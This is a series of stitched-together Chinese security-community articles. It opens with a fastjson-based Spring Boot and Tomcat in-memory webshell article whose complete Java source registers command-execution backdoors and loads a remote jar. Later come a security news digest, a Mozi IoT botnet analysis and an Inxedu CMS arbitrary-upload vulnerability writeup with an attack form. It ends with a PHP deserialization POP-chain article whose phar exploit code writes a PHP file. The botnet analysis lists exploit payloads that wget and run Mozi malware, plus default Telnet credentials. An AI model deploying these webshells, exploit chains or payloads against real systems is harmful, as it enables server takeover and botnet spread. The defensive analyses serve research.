import org.springframework.web.servlet.mvc.condition.HeadersRequestCondition;
import org.springframework.web.servlet.mvc.condition.ParamsRequestCondition;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.ProducesRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
public class SpringbootEcho {
public SpringbootEcho() throws ClassNotFoundException, IllegalAccessException, InstantiationException, MalformedURLException, NoSuchMethodException {
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping r = (RequestMappingHandlerMapping)context.getBean(RequestMappingHandlerMapping.class);
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(this.getJarUrl())});
Class cls = urlClassLoader.loadClass("SSOLogin");
Method method = cls.getDeclaredMethods()[0];
PatternsRequestCondition url = new PatternsRequestCondition(new String[]{"/DriedMangoCmd"});
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(new RequestMethod[0]);
RequestMappingInfo info = new RequestMappingInfo(url, ms, (ParamsRequestCondition)null, (HeadersRequestCondition)null, (ConsumesRequestCondition)null, (ProducesRequestCondition)null, (RequestCondition)null);
r.registerMapping(info, cls.newInstance(), method);
}
public String getJarUrl() {
return "http://127.0.0.1:10011/a.jar";
}
}
主要参考了文章当中的方法四通过RequestContextHolder.currentRequestAttributes().getAttribute获得context，再通过context进行注册，这里注册Controller必须要传入对象，因此通过URLClassLoader进行远程加载jar，在通过loadClass加载指定的类，最后通过newInstance实例化，传入到registerMapping当中。
其中getJarUrl中的a.jar主要内容为(这里可以修改为自己想要注入的马或者正向代理之类的)
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;
public class SSOLogin {
public void login(HttpServletRequest request, HttpServletResponse response){
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
}
}
}
### 2、Tomcat 内存马
tomcat内存马主要参考Filter型内存马，其中代码主要参[Tomcat 源代码调试笔记 - 看不见的
Shell](https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw)和三梦师傅的[基于tomcat的内存
Webshell 无文件攻击技术](https://xz.aliyun.com/t/7388)，经过多次反复调试，最终代码如下
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.EnumSet;
import java.util.Scanner;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.FilterRegistration.Dynamic;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
public class TomcatEcho {
public TomcatEcho() {
try {
Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & -17);
modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & -17);
modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & -17);
WRAP_SAME_OBJECT.setAccessible(true);
lastServicedRequest.setAccessible(true);
lastServicedResponse.setAccessible(true);
if (!WRAP_SAME_OBJECT.getBoolean((Object)null)) {
WRAP_SAME_OBJECT.setBoolean((Object)null, true);
lastServicedRequest.set((Object)null, new ThreadLocal());
lastServicedResponse.set((Object)null, new ThreadLocal());
} else {
ThreadLocal<ServletRequest> threadLocalRequest = (ThreadLocal)lastServicedRequest.get((Object)null);
ServletRequest request = (ServletRequest)threadLocalRequest.get();
try {
ServletContext servletContext = request.getServletContext();
if (servletContext.getFilterRegistration("webShell") == null) {
Filter WebShellClass = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd.exe", "/c", cmd};
} else {
cmds = new String[]{"sh", "-c", cmd};
}
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = (new Scanner(in)).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
Writer writer = response.getWriter();
writer.write(output);
writer.flush();
writer.close();
}
chain.doFilter(request, response);
}
public void destroy() {
}
};
Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
StandardContext standardContext = (StandardContext)contextField.get(applicationContext);
Field stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
Dynamic filterRegistration = servletContext.addFilter("webShell", WebShellClass);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{"/*"});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
FilterMap[] filterMaps = standardContext.findFilterMaps();
for(int i = 0; i < filterMaps.length; ++i) {
if (filterMaps[i].getFilterName().equalsIgnoreCase("webShell")) {
FilterMap filterMap = filterMaps[i];
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMap;
break;
}
}
stateField.set(standardContext, LifecycleState.STARTED);
}
} catch (Exception var19) {
var19.printStackTrace();
}
}
} catch (Exception var20) {
var20.printStackTrace();
}
}
}
通过获取request和response对象进行回显，主要步骤为，获取request对象的ServerContext，再去注册filter，而filter中的逻辑则为我们的webshell。
## 0x03 fastjson+内存马分析与调试
在这两者结合利用的过程中，遇到了一些棘手的问题：
（1）首先是Springboot回显利用远程jar当中的ip地址需要经常指向现实中的公网地址，因此每一次利用之前都需要重新编译一次，不利于自动化利用。最后通过学习javassist发现可以进行动态修改且不需要重新编译。
（2）第二个是由于之前网上其他师傅的poc是直接在内部定一个一个内部类，导致每次ldap请求完成后都报错说缺少class文件，调了很久才发现可以通过Filter
WebShellClass = new Filter()去动态创建一个类并实例化（我的java基础太不扎实了，难受）。
## 0x04 工具编写与使用
再选择启一个Ldap服务端口，若对方为springboot容器则payload为SpringbootEcho，若为Tomcat容器则启用TomcatEcho
选择fastjson jndi
选择fastjson jndi，填入响应的ldap端口
工具地址：
<https://github.com/MrMeizhi/DriedMango>
## 引用
<http://wjlshare.com/archives/1529#0x06>
<https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw>
<https://www.anquanke.com/post/id/198886>
<https://github.com/mbechler/marshalsec>
<https://xz.aliyun.com/t/7348>
<https://xz.aliyun.com/t/7535> | 社区文章 |
# 【知识】9月10日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：安全研究人员披露D-Link路由器漏洞、欧盟进行网络攻击军事演习、Chrome插件惊现恶意代码、XML的花式利用、哈希可视化——现实世界安全的新守护者、Struct2
Freemarker标签远程执行漏洞分析与复现。**
****资讯类：****
安全研究人员披露D-Link路由器漏洞
<http://www.securityweek.com/unpatched-d-link-router-vulnerabilities-disclosed>
欧盟进行网络攻击军事演习
<http://www.securityweek.com/eu-defense-ministers-put-test-mock-cyberattack>
****
**技术类：**
利用JS框架绕过XSS缓解方案
<http://blog.portswigger.net/2017/09/abusing-javascript-frameworks-to-bypass.html>
Unreal IRCd服务攻击实战教程
[http://www.hackingtutorials.org/metasploit-tutorials/hacking-unreal-ircd-3-2-8-1/](http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html)
机器学习对抗资源集合
<https://github.com/yenchenlin/awesome-adversarial-machine-learning>
开源可定制远程管理工具（RAT）
<https://github.com/SySS-Research/outis>
XML的花式利用
<https://blog.pragmatists.com/xml-be-cautious-69a981fdc56a>
哈希可视化——现实世界安全新的守护者
<http://www.netsec.ethz.ch/publications/papers/validation.pdf>
利用RCE漏洞攻击dRuby RMI Server
<http://www.hackingtutorials.org/metasploit-tutorials/hacking-druby-rmi-server-1-8/>
Chrome插件惊现恶意代码
<https://cert.360.cn/warning/detail?id=866e27f5a3dd221b506a9bb99e817889>
Struts2 Freemarker标签远程执行漏洞分析和复现
<https://xianzhi.aliyun.com/forum/read/2085.html> | 社区文章 |
**作者：answerboy@知道创宇404积极防御实验室
时间：2020年9月18日**
### 1.概述
专项行动期间，某天各大蓝队群内都在交流最近是否收到很多来自印度的攻击流量，最初部分认为是红队在使用印度IP进行攻击。但很快发现事情好像并不是这么简单，通过对攻击Payload特征的分析，发现该攻击不是专项行动红队所发起，而是来自一个正在迅速扩张的僵尸网络——Mozi（墨子）僵尸网络。
Mozi僵尸网络是于2019年底首次出现在针对路由器和DVR
的攻击场景上的一种P2P僵尸网络。主要攻击物联网（IoT）设备，包括网件、D-Link和华为等路由设备。它本质上是Mirai的变种，但也包含Gafgyt和IoT
Reaper的部分代码，用于进行DDoS攻击、数据窃取、垃圾邮件发送以及恶意命令执行和传播。目前其规模已经迅速扩大，据统计目前已占到所有物联网（IoT）僵尸网络流量的90％
。
近日知道创宇404积极防御实验室通过知道创宇云防御安全大数据平台监测到大量来自印度IP的攻击。经分析，其中大量的攻击来自Mozi僵尸网络，可能和近期印度Mozi僵尸网络大范围感染并传播有关。
### 2.追溯分析
#### 2.1发现攻击
近日，知道创宇404积极防御实验室监测到大量来自印度IP的Web攻击，试图通过远程命令执行下载Mozi.m、Mozi.a等恶意文件到被攻击设备上，且使用的User-Agent均为：“Hello, world”。使用的部分攻击Payload如下：
cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1
图1-攻击日志
通过对样本的分析确定该样本属于Mozi僵尸网络家族。
#### 2.2详细分析
##### 2.2.1 Mozi.m样本分析
捕获到的样本信息：
`SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf`
ELF 头：
Magic | 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00
---|---
类别 | ELF32
数据 | 2 补码，大端序 (big endian)
Version | 1 (current)
OS/ABI | UNIX - System V
ABI 版本 | 0
类型 | EXEC (可执行文件)
系统架构 | MIPS R3000
版本 | 0x1
入口点地址 | 0x41fb58
程序头起点 | 52 (bytes into file)
样本通过UPX进行了加壳操作，且将p_info结构中的p_file_size和p_blocksize值擦除为了0，来增强自身的“安全性”。
在成功感染目标设备之后，Mozi为进行自我保护，会通过防火墙阻断SSH、Telnet端口，以防止被其他僵尸网络入侵：
图2-阻断22、2323端口通信
根据感染的设备，修改防火墙策略放行不同的端口来保证自身的通信：
图3-放行自身使用端口
同时读取/proc/net/tcp和/proc/net/raw来查找并KILL掉使用1536和5888端口的进程：
图4-Kill相关进程
检查被感染的设备上是否存在Watchdog来避免重启：
图5-检测Watchdog
检查被感染的设备上是否存在/usr/bin/python,如果存在，则将进程名称更改为sshd,不存在则更改为dropbear，以此来迷惑被攻击者。
图6-更改进程名
分析过程中发现Mozi僵尸网络复用了部分Gafgyt家族僵尸网络的代码，其中内嵌了8个硬编码的公共节点信息，用于加入P2P网络，如下：
图7-内置的节点
在样本中还硬编码了一个使用XOR加密的配置文件及密钥：
图8-配置文件
使用硬编码的秘钥解密后得到如下配置数据：
`[ss]bot[/ss][hp]88888888[/hp][count]http://ia.51.la/go1？id = 19894027＆pu
=http％3a％2f％2fbaidu.com/[idp][/count]。`
新的Mozi节点向`http://ia.51.la/`发送HTTP请求，来注册自身。
在通信流量中通过`1:v4:JBls`来标记是否为Mozi节点发起的通信。
图9-通信标识
所攻击的设备类型包括：GPON光纤设备、NetGear路由设备、华为HG532交换机系列、D-Link路由设备、使用Realtek
SDK的设备、Vacron监控摄像机、斐讯路由器、 USR-G806 4G工业无线路由器等:
图10-攻击的设备类型
同时还在样本中发现硬编码的部分用户名和弱口令，用来对Telnet进行暴力破解攻击，以扩大感染和传播范围，硬编码的部分用户名和密码如下：
图11-部分弱口令密码
#### 2.3攻击分布
自9月以来知道创宇云防御共拦截了来自Mozi僵尸网络的151,952个IP的攻击,总计拦截攻击14,228,252次。与8月份相比，来自印度的攻击显著增加，拦截到的来自印度的攻击IP同比上涨了近30%，所拦截到的总攻击次数上涨了近42%。下图为知道创宇404积极防御实验室自9月以来监测到的来自印度的攻击IP
TOP10：
图12-攻击IP TOP10
通过对捕获到的日志分析，对所有被攻击的行业进行分类统计，其中被攻击占比最高的为政府事业单位，以及部分部委机关系统及网站。这部分系统在所有被攻击的行业中占比达到45%。如下：
图13-被攻击行业分布
目前Mozi僵尸网络仍在快速扩张，且呈上升趋势，临近十一重保，各单位仍需提高警惕，做好安全防护措施，尤其是各级政府事业单位以及部委机关单位，应提前做好相关设备的安全检查，避免被僵尸网络入侵感染。
### 3.防护建议
* 1.设备关闭不必要的端口，对使用的端口号进行更改；
* 2.定期更新系统补丁，及时修复相关漏洞；
* 3.服务器切勿使用弱口令，避免被暴力破解；
* 4.根据附件中的Payload阻断存在以下特征的通信；
* 5.关注设备上的可疑进程和外连访问，尤其是近期来自印度的IP。
### 4附：IoCs
#### 公共节点
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=212.129.33.59
"ZoomEye搜索结果")）
82.221.103.244:6881（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=82.221.103.244
"ZoomEye搜索结果")）
130.239.18.159:6881（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=130.239.18.159
"ZoomEye搜索结果")）
87.98.162.88:6881（[ZoomEye搜索结果](https://www.zoomeye.org/searchResult?q=87.98.162.88
"ZoomEye搜索结果")）
#### 部分Payload
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
POST /HNAP1/ HTTP/1.0
Host: %s:80
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: %s:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 640
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
Host: %s:49152
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Hello, World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
#### 暴力破解使用的用户名及弱口令
Username | Password
---|---
admin | 00000000
telnetadmin | 1111
!!Huawei | 1111111
admin | 1234
root | 12345
root | 123456
keomeo | 2010vesta
support | 2011vesta
CMCCAdmin | 25802580
e8telnet | 54321
e8ehome1 | 666666
e8ehome | 7ujMko0admin
user | 7ujMko0vizxv
mother | 888888
root | 88888888
Administrator | @HuaweiHgw
service | BrAhMoS@15
supervisor | CMCCAdmin
guest | CUAdmin
admin1 | Fireitup
administrator | GM8182
ubnt | PhrQjGzk
tech | Pon521
admin | Zte521
admin | admin
telnet | admin1234
| adminHW
| adminpass
| anko
| cat1029
| chzhdpl
| conexant
| default
| dreambox
| e2008jl
| e8ehome
| e8ehome1
| e8telnet
| epicrouter
| fucker
| gpon
| guest
| gw1admin
| h@32LuyD
| hg2x0
| hi3518
| ikwb
| juantech
| jvbzd
| keomeo
| klv123
| klv1234
| meinsm
| pass
| password
| plumeria0077
| r@p8p0r+
| realtek
| root
| service
| smcadmin
| supervisor
| support
| system
| tech
| telnet
| telnetadmin
| ubnt
| user
| v2mprt
| vizxv
| xJ4pCYeW
| xc3511
| xmhdipc
| zlxx
| zte
|
|
#### SHA256
bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887
### 5.参考链接：
<https://kb.cert.org/vuls/id/582384/>
<https://www.cebnet.com.cn/20180302/102469557.html>
<https://cloud.tencent.com/developer/article/1366157>
* * * | 社区文章 |
CMS简介
因酷开源网校系统是由北京因酷时代科技有限公司以下简称（因酷教育软件）研发并推出的国内首家Java版开源网校源代码建站系统，并免费提供给非商业用途用户使用，是用户体验最好、运营功能最全、性价比最高的在线教育软件，不仅解决了开发技术难和成本过高的难题，而且在此功能基础上还可以安装其他供应商开发的应用，这样中小学习型组织就可以自主掌握一款独一无二的网校系统。
因酷开源网校系统提供视频云点播、在线学习、课程管理、网校管理等功能。管理者可以针对不同的用户设置不同的权限，限制特定用户的访问，不同的角色拥有不同的管理权限；老师可以使用因酷云视频提供的点播直播服务，也可以使用第三方的云视频服务；并且可以添加修改课程和课程专业,
对课程进行推荐分类；课程发布后，可以通过讲师和专业快捷的搜索到课程，每个课程都有介绍页面，学生可以查看课程的基本信息介绍和预览课时，再决定是否购买课程；购买课程后，学生可以重复观看，同时也可以收藏自己喜欢的课程，并分享到其他平台。
目前因酷的产品线非常齐全，有网校系统、直播系统、慕课系统、考试系统、社区系统、教育门户官网、因酷视频云等十多种，可实现录播点播直播考试互动等一系列线上教学功能。因酷志在为中小学习型组织提供开源教育产品，全面满足用户需求，已为近2000+用户提供高品质技术或服务，覆盖K12教育、
财会金融、法律培训、公考求职、建筑工程、医疗卫生、文化艺术、语言培训、
继续教育等众多领域，客户遍及国内33个省市自治区，更获得了加拿大、新西兰等国际教育机构的一致认可
官网：<https://www.inxedu.com/>
下载地址：<http://down.admin5.com/jsp/132874.html>
测试环境
CMS v2.0.6
JDK 1.8
Tomcat 7
Mysql 5.5
maven 3.6.3
IntelliJ IDEA 2018
漏洞分析
CMS 使用SSM框架
漏洞位置：
com/inxedu/os/common/controller/VideoUploadController.java
漏洞发生在视频上传功能模块，定位到漏洞代码位置如下：
这漏洞上传点使用springframework框架方式，gok4方法，接受request ,uploadfile，param，fileType
四个参数，uploadfile 是文件流，fileType是扩展名。
此处是判断上传文件名与fileType参数文件是否一致，一个小小的限制，可以绕过，在漏洞复现时将fileType参数设置为jsp就可以上传网马
此处是获取文件路径：
继续跟进getPath方法:
通过分析发现将param设置为空，CommonConstants.projectName获取project.properties配置文件中的项目上名称，所以完成上传路径：/images/upload/项目名/系统年月日时间/系统分时秒+扩展名（ext）
从整个上传流程发现，并没有对上传任何限制，直接上传，在74行uploadfile.transferTo 就直接上传，77行返回上传路径
利用复现
构造一个上传表单：
<form action="http://localhost:8080/video/uploadvideo"
enctype="multipart/form-data" id="frmUpload" method="post">
<input name="uploadfile" type="file">
<input type ="text" name = "fileType" value="">
<input id="btnUpload" type="submit" value="上传">
</form>
</form> | 社区文章 |
# PHP反序列化入门之寻找POP链（二）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
> 本文以 [**code-breaking**](https://code-breaking.com/) 中 **lumenserial**
> 为例，练习PHP反序列化 **POP链** 的寻找，题目地址：<https://code-breaking.com/puzzle/7/> 。
上篇
[文章](http://mochazz.github.io/2019/02/06/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8B%E5%AF%BB%E6%89%BEPOP%E9%93%BE%EF%BC%88%E4%B8%80%EF%BC%89/)
，我们是通过 **PendingBroadcast** 类 **__destruct** 方法中的 **$this- >events->dispatch**
，然后直接走 **$this- >events** 对象的 **__call** 方法，本文将探索直接走 **$this- >events** 对象
**dispatch** 方法的 **POP链** 。
## POP链一
我们直接搜索 **‘function dispatch(‘** ，发现有一个 **Dispatcher** 类的 **dispatchToQueue**
方法中调用的 **call_user_func** 函数两个参数都可控，而且 **dispatch** 中调用了 **dispatchToQueue**
方法，代码如下：
从代码中我们可以看到，只要传入的 **$command** 变量是 **ShouldQueue** 类的实例即可。通过搜索，我们会发现
**ShouldQueue** 是一个接口，那么我们找到其实现类即可。直接搜索 **‘implements ShouldQueue’**
，我们随便选取一个实现类即可，这里我选用 **CallQueuedClosure** 类，相关代码如下：
现在 **call_user_func** 函数的两个参数都可控，又变成了我们可以调用任意对象的任意方法了，这样我们有可以利用上篇文章中的方法，调用
**ReturnCallback** 类的 **invoke** 方法，并传入 **StaticInvocation** 类的对象作为参数，形成整个完整的
**POP链** ，利用 **exp** 如下：
<?php
namespace IlluminateBroadcasting{
class PendingBroadcast{
protected $events;
protected $event;
function __construct($events, $event){
$this->events = $events;
$this->event = $event;
}
}
class BroadcastEvent{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
};
namespace PHPUnitFrameworkMockObjectStub{
class ReturnCallback
{
private $callback;
public function __construct($callback)
{
$this->callback = $callback;
}
}
};
namespace PHPUnitFrameworkMockObjectInvocation{
class StaticInvocation{
private $parameters;
public function __construct($parameters){
$this->parameters = $parameters;
}
}
};
namespace IlluminateBus{
class Dispatcher{
protected $queueResolver;
public function __construct($queueResolver){
$this->queueResolver = $queueResolver;
}
}
};
namespace{
$function = 'file_put_contents';
$parameters = array('/var/www/html/11.php','<?php phpinfo();?>');
$staticinvocation = new PHPUnitFrameworkMockObjectInvocationStaticInvocation($parameters);
$broadcastevent = new IlluminateBroadcastingBroadcastEvent($staticinvocation);
$returncallback = new PHPUnitFrameworkMockObjectStubReturnCallback($function);
$dispatcher = new IlluminateBusDispatcher(array($returncallback,'invoke'));
$pendingbroadcast = new IlluminateBroadcastingPendingBroadcast($dispatcher,$broadcastevent);
$o = $pendingbroadcast;
$filename = 'poc.phar';// 后缀必须为phar，否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
};
?>
我们再通过下面这张图片，来理清整个 **POP链** 的调用过程。
## POP链二
接下来这个 **POP链** 思路是参考 [这篇](http://m4p1e.com/web/20181224.html) 文章，寻找 **POP链**
的思路还是从 **dispatch** 方法入手。在上篇文章中，我们发现第一个 **RCE** 走了 **Generator** 类的 **__call**
方法，这个方法作为 **POP链** 中的一部分极其好用，因为 **call_user_func_array**
方法中的两个参数完全可控。我们只要找到方法中存在形如 **this- >$object->$method($arg1,$arg2)** ，且
**$object** 、 **$method** 、 **$arg1** 、 **$arg2** 四个参数均可控制，那么就可以利用这个
**Generator** 类的 **__call** 方法，最终调用
**call_user_func_array(‘file_put_contents’,array(‘1.php’,’xxx’))** 。
我们继续搜索 **dispatch** ，会发现一个 **TraceableEventDispatcher** 类的 **dispatch**
方法，其代码如下：
我们发现其调用了 **preProcess** 方法，传入的 **$eventName** 变量是可控的，我们跟进该方法， 具体代码如下：
可以看到我们得让 **$this- >dispatcher->hasListeners($eventName)** 返回 **true**
，否则返回的空值对我们无用。然后 **第12行** 的 **getListeners** 方法返回的值得是一个数组，这样我们才能进入 **foreach**
结构里。之所以要进到 **foreach** 结构里，是因为我们在 **第16行** 看到了 **$this->dispatcher->removeListener($eventName, $listener)** ，结构形如： **this->$object->$method($arg1,$arg2)** ，前三个参数可以按照如下构造：
this->$object = new FakerGenerator();
this->$object->$method = 'removeListener';
arg1 = '/var/www/html/1.php';
this->formatters['removeListener'] = 'file_put_contents';
这样子构造之后，执行到 **$this- >dispatcher->removeListener($eventName, $listener)**
时，就会调用 **Generator** 类的 **__call** 方法，继而执行
**call_user_func_array(‘file_put_contents’,array(‘/var/www/html/upload/1.php’,$listener))**
，所以我们只要再确保第四个参数 **$listener** 可控即可。
现在我们再回到上面 **第6行** 的 **if** 语句，我们需要先绕过这个判断条件。该代码会调用 **FakerGenerator** 类的
